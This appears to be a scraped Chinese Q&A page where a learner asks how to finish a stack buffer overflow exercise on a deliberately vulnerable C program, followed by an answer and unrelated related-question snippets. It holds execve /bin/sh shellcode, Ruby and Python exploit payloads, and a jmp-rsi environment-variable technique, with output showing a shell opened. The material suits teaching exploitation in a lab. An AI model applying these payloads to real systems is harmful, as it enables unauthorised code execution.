使用 shellcode 进行缓冲区溢出练习

2023-12-24

我正在做一个关于 C 程序上的缓冲区过载的练习,这个问题的目标是在我将 shellcode 插入到程序中后获取 root shell。这是我到目前为止所拥有的:

步骤 1. 首先,让我们看看文件中的 C 代码file.c:

root@kali:~# cat ./file.c
#include <stdio.h>
#include <string.h>

void premio()
{
     printf("I have altered the programs flow\n");
}

int main(int argc, char *argv[])
{
    char buffer[100];
    if (argc != 2)
   {
         printf("Use: %s argument\n",argv[0]);
         return -1;
    }
    strcpy(buffer,argv[1]);
    printf ("%s\n",buffer);
    return 0;
}

步骤 2. 我已编译它并停用 ASLR 以避免接收随机地址,如下所示:

gcc -fno-stack-protector -z execstack buffer.c -o buffer

echo 0 > /proc/sys/kernel/randomize_va_space

步骤 3. 让我们检查一下它是如何工作的:

root@kali:~# ./file string
string
root@kali:~# ./file `ruby -e 'print "a"*99'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
root@kali:~# ./file `ruby -e 'print "a"*100'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
root@kali:~# ./file `ruby -e 'print "a"*125'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault  (this means we have overwritten the EIP register)

root@kali:~# gdb ./file
(gdb) run  `ruby -e 'print "a"*125'`
Starting program: /root/file `ruby -e 'print "a"*125'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Program received signal SIGSEGV, Segmentation fault.
0x0000006161616161 in ?? () (this is the value of EIP beacuse of the letter a)
(gdb) 

步骤 4. 我们将使用以下方法找到 EIP 位置的值:

root@kali:~# ./pattern_create.rb -l 125
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae
root@kali:~# gdb ./file
(gdb) run "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae"
Starting program: /root/file "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae"
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae

Program received signal SIGSEGV, Segmentation fault.
0x0000006541306541 in ?? ()

root@kali:~# ./pattern_offset.rb -q 0x0000006541306541 -l 125
[*] Exact match at offset 120

In this case we have found that if we write 120 characters the next 5 will be EIP

步骤 5. 现在我们将创建一个脚本来使用 shellcode 覆盖缓冲区,shellcode 取自:

\x31 \xc0           xor eax, eax
\x50                push eax
//PUSH /bin
\x68\x2f\x2f\x73\x68        push 0x68732f2f
//PUSH //sh
\x68\x2f\x62\x69\x6e        push 0x6e69622f
\x89\xe3            mov ebx, esp
\x50                push eax
\x53                push ebx
\x89\xe1            mov ecx, esp
\xb0\x0b            mov al, 0xb
\xcd\x80                int 0x80  

root@kali:~# cat ./exploit.rb
eip = "bbbbb"
aes = "a"*97
shell = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" #23 bytes

print (shell + aes + eip) #125 bytes total

步骤 6. 现在我们必须知道必须跳转到哪个地址才能开始执行我们的 shell,但我被困在这里,因为我不知道该怎么做。

(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
   0x0000000000000753 <+0>:     push   rbp
   0x0000000000000754 <+1>:     mov    rbp,rsp
   0x0000000000000757 <+4>:     add    rsp,0xffffffffffffff80
   0x000000000000075b <+8>:     mov    DWORD PTR [rbp-0x74],edi
   0x000000000000075e <+11>:    mov    QWORD PTR [rbp-0x80],rsi
   0x0000000000000762 <+15>:    cmp    DWORD PTR [rbp-0x74],0x2
   0x0000000000000766 <+19>:    je     0x78a <main+55>
   0x0000000000000768 <+21>:    mov    rax,QWORD PTR [rbp-0x80]
   0x000000000000076c <+25>:    mov    rax,QWORD PTR [rax]
   0x000000000000076f <+28>:    mov    rsi,rax
   0x0000000000000772 <+31>:    lea    rdi,[rip+0xf1]        # 0x86a
   0x0000000000000779 <+38>:    mov    eax,0x0
   0x000000000000077e <+43>:    call   0x5f0 <printf@plt>
   0x0000000000000783 <+48>:    mov    eax,0xffffffff
   0x0000000000000788 <+53>:    jmp    0x7b5 <main+98>
   0x000000000000078a <+55>:    mov    rax,QWORD PTR [rbp-0x80]
   0x000000000000078e <+59>:    add    rax,0x8
   0x0000000000000792 <+63>:    mov    rdx,QWORD PTR [rax]
   0x0000000000000795 <+66>:    lea    rax,[rbp-0x70]
   0x0000000000000799 <+70>:    mov    rsi,rdx
   0x000000000000079c <+73>:    mov    rdi,rax
   0x000000000000079f <+76>:    call   0x5d0 <strcpy@plt>
   0x00000000000007a4 <+81>:    lea    rax,[rbp-0x70]
   0x00000000000007a8 <+85>:    mov    rdi,rax
   0x00000000000007ab <+88>:    call   0x5e0 <puts@plt>
   0x00000000000007b0 <+93>:    mov    eax,0x0
   0x00000000000007b5 <+98>:    leave
   0x00000000000007b6 <+99>:    ret
End of assembler dump.

步骤7.这里应该找到地址并将其放入利用脚本中更改EIP的值,但我不知道该怎么做。

(gdb) run `ruby exploit.rb`
Starting program: /root/file `ruby exploit.rb`
1▒Ph//shh/bin▒▒PS▒▒
                   ̀aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbb

Program received signal SIGSEGV, Segmentation fault.
0x0000006262626262 in ?? ()
(gdb) x/40x $esp
0xffffffffffffe590:     Cannot access memory at address 0xffffffffffffe590
(gdb) x/40x $rsp
0x7fffffffe590: 0x00600000      0x00000000      0xffffe668      0x00007fff
0x7fffffffe5a0: 0xf7b9c168      0x00000002      0x55554753      0x00005555
0x7fffffffe5b0: 0x00000000      0x00000000      0xb3c231f4      0x54cfb08e
0x7fffffffe5c0: 0x55554610      0x00005555      0xffffe660      0x00007fff
0x7fffffffe5d0: 0x00000000      0x00000000      0x00000000      0x00000000
0x7fffffffe5e0: 0xf76231f4      0x019ae5db      0x589031f4      0x019af56f
0x7fffffffe5f0: 0x00000000      0x00000000      0x00000000      0x00000000
0x7fffffffe600: 0x00000000      0x00000000      0xffffe680      0x00007fff
0x7fffffffe610: 0xf7ffe168      0x00007fff      0xf7de875b      0x00007fff
0x7fffffffe620: 0x00000000      0x00000000      0x00000000      0x00000000
(gdb)

最后它必须给我一个根外壳.

我被困在第 6 步和第 7 步。


在 C 语言中,空字符是参数的结尾。因此,有效负载(第一个参数)中不能有空字符。总之,您必须找到一种方法来跳转到没有空字符的 shellcode。

解决您的问题的一种方法可能是使用环境变量。例如。保存跳跃 (jmp rsi)

为什么要注册RSI?

因为偏移量为0

[RSP] --> offset 120 - size ~80
[RSI] --> offset 0 - size ~203

获取操作码并将其保存在环境变量中。

[manu@kinakuta /tmp]$ rasm2 "jmp rsi"
ffe6
[manu@kinakuta /tmp]$ export JMP_RSI=`python -c 'print "\xff\xe6\x00"'`

获取环境变量的地址

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]){
        char *ptr;
        if (argc < 3){
                printf("Usage: %s <environment var> <target program name>\n", argv[0]);
                exit(0);
        }
    ptr = getenv(argv[1]);
    ptr += (strlen(argv[0]) -strlen(argv[2]))*2;
    printf("%p\n",ptr);
}

编译并获取地址

[manu@kinakuta /tmp]$ gcc getenvaddr.c -o getenvaddr
[manu@kinakuta /tmp]$ ./getenvaddr JMP_RSI ./buffer
0x7fffffffef3d

如果您在调试器中,则必须在该地址上添加 8。

进行漏洞利用

Shellcode+padding+EIP(环境变量地址)->RSI+ 填充 + JMP RSI

[manu@kinakuta /tmp]$ python -c 'print "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"+"\x90"*(120-30)+"\x3d\xef\xff\xff\xff\x7f"' > input
[manu@kinakuta /tmp]$ ./buffer `cat input`
H1�H�//bin/shH�SH��PWH���;������������������������������������������������������������������������������������������=����
$ id
uid=1000(manu) gid=1000(manu) groups=1000(manu),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),111(scanner),122(vboxusers),124(wireshark)
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

使用 shellcode 进行缓冲区溢出练习 的相关文章

  • ASCII码-shellcode的技巧

    网上已经有成熟的工具了 所以就简单记录一下工具怎么用吧 https github com TaQini alpha3 https github com veritas501 ae64 git https github com rcx she
  • Malloc 分段错误

    这是发生分段错误的代码段 未调用 perror job malloc sizeof task t if job NULL perror malloc 更准确地说 gdb 说segfault发生在一个 int malloccall 这是一个子
  • Visual Studio 2013 如何检测缓冲区溢出

    Visual Studio 2013 C 项目有一个 GS切换以在运行时启用缓冲区安全检查验证 自从升级到 VS 2013 以来 我们遇到了更多的 STATUS STACK BUFFER OVERRUN 错误 并怀疑这与新编译器中改进的缓冲
  • 如何关闭 gcc 编译器优化以启用缓冲区溢出

    我正在研究一个作业问题这需要禁用编译器优化保护才能工作 我在 ubuntu linux 上使用 gcc 4 4 1 但无法弄清楚哪些标志是正确的 我意识到它依赖于架构 我的机器运行 32 位 Intel 处理器 Thanks 这是个好问题
  • 为什么应该使用 strncpy 而不是 strcpy?

    编辑 我已经添加了示例的源代码 我碰到这个例子 char source MAX 123456789 char source1 MAX 123456789 char destination MAX abcdefg char destinati
  • 为什么系统调用不起作用?

    我在 MAC OSX 上 我试图通过程序集调用 execve 系统调用 他的操作码是 59 在linux中 我必须将操作码设置到eax中 然后将参数设置到其他寄存器中 但在这里我必须将操作码放入eax中 并将参数从右到左压入堆栈 所以我需要
  • 让调用堆栈向上增长会使缓冲区溢出更安全吗?

    每个线程都有自己的堆栈来存储局部变量 但堆栈也用于存储返回地址调用函数时 在 x86 汇编中 esp指向最近分配的堆栈末尾 如今 大多数 CPU 的堆栈都出现负增长 此行为可以通过溢出缓冲区并覆盖保存的返回地址来执行任意代码 如果堆栈正向增
  • 为什么这个内存地址 %fs:0x28 ( fs[0x28] ) 有一个随机值?

    我编写了一段 C 代码 并将其反汇编并读取寄存器以了解程序在汇编中的工作原理 int test char this char sum buf 6 strncpy sum buf this 32 return 0 我一直在检查的代码片段是测试
  • sscanf 函数更改另一个字符串的内容

    我在读取字符串时遇到问题sscanf 我简化了代码以专注于问题 下面是整个代码中的一个函数 它应该打开一个文件并读取一些内容 但sscanf表现得很奇怪 例如我声明一个名为atm与内容 ATOM 之前sscanf它将这个字符串打印为ATOM
  • 编写返回libc攻击,但libc加载到内存中的0x00处

    我正在为我的系统安全课程编写返回 libc 攻击的文章 首先 存在漏洞的代码 vuln c include
  • 缓冲区溢出在 gdb 中有效,但没有它就不行

    我使用 CentOS 6 4 32 位 并试图在程序中导致缓冲区溢出 在 GDB 中它可以工作 这是输出 root localhost bufferoverflow gdb stack GNU gdb GDB Red Hat Enterpr
  • 进行缓冲区溢出利用时未获取 root shell

    我正在学习 Linux x86 二进制文件中的缓冲区溢出漏洞 我正在执行经典的堆栈粉碎 通过禁用 ASLR 并通过禁用 NX 位和堆栈金丝雀来编译二进制文件 从而在 Ubuntu 12 04 VM 中生成根 shell 在执行期间 返回地址
  • 缓冲区溢出 - 普通用户中的 SegFaults

    下面是我的代码 包括易受攻击的程序 stack c 和我的漏洞利用程序 exploit c 这段代码适用于教授为 Windows 用户发送的预打包 Ubuntu 9 我有一个朋友在他的计算机上测试了它 但在我在 iMac 上运行的 Ubun
  • 简单堆栈溢出的 Shellcode:带有 shell 的被利用程序在 execve("/bin/sh") 之后直接终止

    我在 Linux amd64 上尝试了缓冲区溢出并尝试利用一个简单的程序 但失败了 我禁用了安全功能 使用 sysctl w kernel randomize va space 0 和 BIOS 中的 nx 位进行地址空间布局随机化 它跳转
  • 如何使用缓冲区溢出攻击替换堆栈上的返回地址

    对于家庭作业 我正在执行一系列缓冲区溢出攻击 有人给了我一个要反汇编的程序 这是一个不正确调用的函数的 C 源代码gets 以及我应该强制程序调用的其他几个函数的源代码 对于其中一项任务 我必须 注入一些改变值的代码 然后 返回上述方法之一
  • ret2libc 攻击不会生成 shell

    我执行了 ret2libc 一切正常 但 shell 没有生成 源代码是 include
  • 缓冲区溢出攻击(攻击实验室第 2 阶段)

    我有一个缓冲区溢出实验室 我必须为一个名为攻击实验室 http csapp cs cmu edu 3e attacklab pdf 我处于实验室的第二阶段 我必须将代码作为漏洞利用字符串的一部分注入 以使程序指向函数 touch2 的地址
  • Shellcode:执行 2 次 execve() 调用

    我正在尝试用汇编语言编写 shellcode 我需要执行一个 usr bin killall命令与 usr bin wget命令 我的两个命令都在 shellcode 中完美运行execve 系统调用 但现在我想将这两个结合起来 但这是不可
  • 文件系统观察器内部缓冲区溢出

    当我尝试监视网络路径上的文件夹 DFS 分布式文件系统 时 出现 System IO Internal BufferOverflowException 异常 同时进行许多更改 当 FileSystemWatcher 监视不使用此文件系统的本
  • 如何让c代码执行hex机器代码?

    我想要一个简单的 C 方法能够在 Linux 64 位机器上运行十六进制字节码 这是我的 C 程序 char code x48 x31 xc0 include

随机推荐

  • 光滑的滑块转到第一张幻灯片

    Slick 滑块设置为自动播放 播放时 幻灯片从左到右或从第一个到最后一个 当滑块到达最后一张幻灯片时 它将开始从最后一张幻灯片向后自动播放到第一张幻灯片 我希望当滑块到达最后一张幻灯片时 滑块从第一张幻灯片开始播放 而不是从最后一张幻灯片
  • 如何使用 sqlcmd 运行 sql 脚本文件并输出到 shell 和文件

    我正在尝试使用以下命令从文件运行 sql 脚本sqlcmd 使用以下命令 sqlcmd S
  • Ruby 中 $stdout 和 STDOUT 之间的区别

    在 Ruby 中 有什么区别 stdout 前面有美元符号 和STDOUT 全部大写 在进行输出重定向时 应该使用哪个以及为什么 同样适用于 stderr and STDERR Edit 刚刚找到一个相关问题 https stackover
  • 该结构的初始序列是什么?

    我遇到了最初的序列概念 通过标准搜索initial sequence短语只给出 3 个结果 并且没有给出定义 Section N3797 9 5 1 class union 如果标准布局联合包含多个标准布局结构 有着共同点的初始序列 9 2
  • Python CGI os.system 导致标头格式错误

    我正在运行 Apache 2 4 10 Raspbian 并且我正在使用 python 作为 CGI 但是当我尝试在简单代码中使用 os system 时 我收到此格式错误的标头错误 Wed Aug 31 17 10 05 715740 2
  • Visual Studio 2012 Ultimate 编辑 C# 代码时速度缓慢

    我检查了许多有关禁用图形加速 关闭 IntelliTrace 和使用 Sysinternals Process Monitor ProcMon 的文章 但我不知道如何找出导致我的编辑器速度慢得离谱的原因 ProcMon 显示 devenv
  • 最优算法是完整算法吗?

    我确实理解 完整的算法是一种如果有解决方案 该算法能够找到它的算法 而最佳算法是一种能够找到成本最低的解决方案的算法 但最优算法就是完整算法吗 可以简单解释一下吗 Thanks 是的 根据定义 寻找最优解需要证明最优性 这可以通过找到所有解
  • 插入符号位置不跟踪?

    我想做的是将关键代码放入一个数组中 以便稍后做一些有趣的事情 因此 我捕获击键 获取插入符位置并将关键代码放入数组中 在 MooTools 的帮助下 var keyArray form addEvent keyup function eve
  • 从html表单的下拉框中获取选定的值而不提交

    如何从html表单的下拉框元素中获取所选项目的文本 使用Python 当我使用鼠标从下拉框中选择一项时 如何将值存储到变量中 即不使用提交按钮 这是针对我在仅支持 Python 的应用程序引擎中执行的应用程序 你的问题表明对如何进行一些误解
  • 为什么某些 xlims 和 ylims 在 ggplot 和 sf 中产生此错误?

    我正在学习使用 ggplot 和 sf 来处理空间数据 当我尝试绘制以下图时 出现错误 library sf library ggplot2 library rnaturalearth library rnaturalearthdata w
  • 如何将文件路径数组转换为分层 JSON 结构

    我正在尝试根据给定的所有文件和路径的数组创建机器目录结构的 JSON 该数组看起来像这样 string dirArray proc 15 task 15 exe proc 15 task 15 mounts mounts xml proc
  • Qt 的 Bullseye 代码覆盖率

    嘿 我面临着有关 Qt 的靶心代码覆盖率的问题 在我的 pro 文件中 我添加以下内容 QMAKE CC C Program Files x86 BullseyeCoverage bin cl QMAKE CXX QMAKE CC QMAK
  • Chrome 扩展:如何在同一选项卡中打开 popup.html 中的网址

    谷歌浏览器扩展程序 我为一件简单的事情而发疯 请不要责怪我 我不是英语出身 我很难阅读和理解所有扩展文档 我只想执行以下操作 我的 popop html 中有 8 个不同的 URL 当我点击右上角浏览器栏中的图标时 它会打开 网址 exam
  • Go 是否可以在不为每个外部进程启动一个操作系统线程的情况下生成并与外部进程通信?

    简洁版本 Golang 是否可以生成多个外部进程 shell 命令 在平行下 这样它就不会启动一个操作系统线程每个外部进程 并且在完成后仍然能够接收其输出 更长的版本 在 Elixir 中 如果使用端口 则可以生成数千个外部进程 而无需真正
  • 如何删除/修复幽灵工作区

    不知何故 我最终得到了一个 幽灵 工作空间 它不会显示在 Visual Studio 中的 管理工作区 下 当我连接到 VS Team Services 和开源控件资源管理器时 它会弹出一个错误对话框 其中包含 TF14061 工作区不存在
  • C++ 对字符文字的顺序有何保证?

    C 对字符文字的顺序有何保证 中的字符有一定的顺序吗基本源字符集 例如是 a lt z 保证是真的吗 怎么样 A lt z 该标准仅提供十进制数字排序的保证0 to 9 来自 C 11 标准草案部分2 3 lex charset 在源和执行
  • OpenCV Sift/Surf/Orb:drawMatch 函数无法正常工作

    我使用 Sift Surf 和 ORB 但有时我在使用 drawMatch 函数时遇到问题 这里的错误 OpenCV 错误 drawMatches 中断言失败 i2 gt 0 i2 0 i2 代码 drawMatchPoints img1
  • ISR 和函数调用之间的区别?

    我想了解ISR 中断服务例程 和函数调用之间的区别 我觉得从硬件角度来看 函数调用和 ISR 是相同的 如果我错了 请纠正我 我能找到的有关 ISR 和函数调用的所有信息如下 ISR 执行过程中随时可能发生的异步事件 该程序 将 PC 标志
  • 等待操作超时 Win32Exception (0x80004005): 等待操作超时 azure

    从 sql azure 检索大量数据时出现以下错误 我已经实现了瞬态故障处理 但仍然收到此错误 描述 执行当前 Web 请求期间发生未处理的异常 请查看堆栈跟踪以获取有关错误及其在代码中的来源的更多信息 异常详细信息 System Comp
  • 使用 shellcode 进行缓冲区溢出练习

    我正在做一个关于 C 程序上的缓冲区过载的练习 这个问题的目标是在我将 shellcode 插入到程序中后获取 root shell 这是我到目前为止所拥有的 步骤 1 首先 让我们看看文件中的 C 代码file c root kali c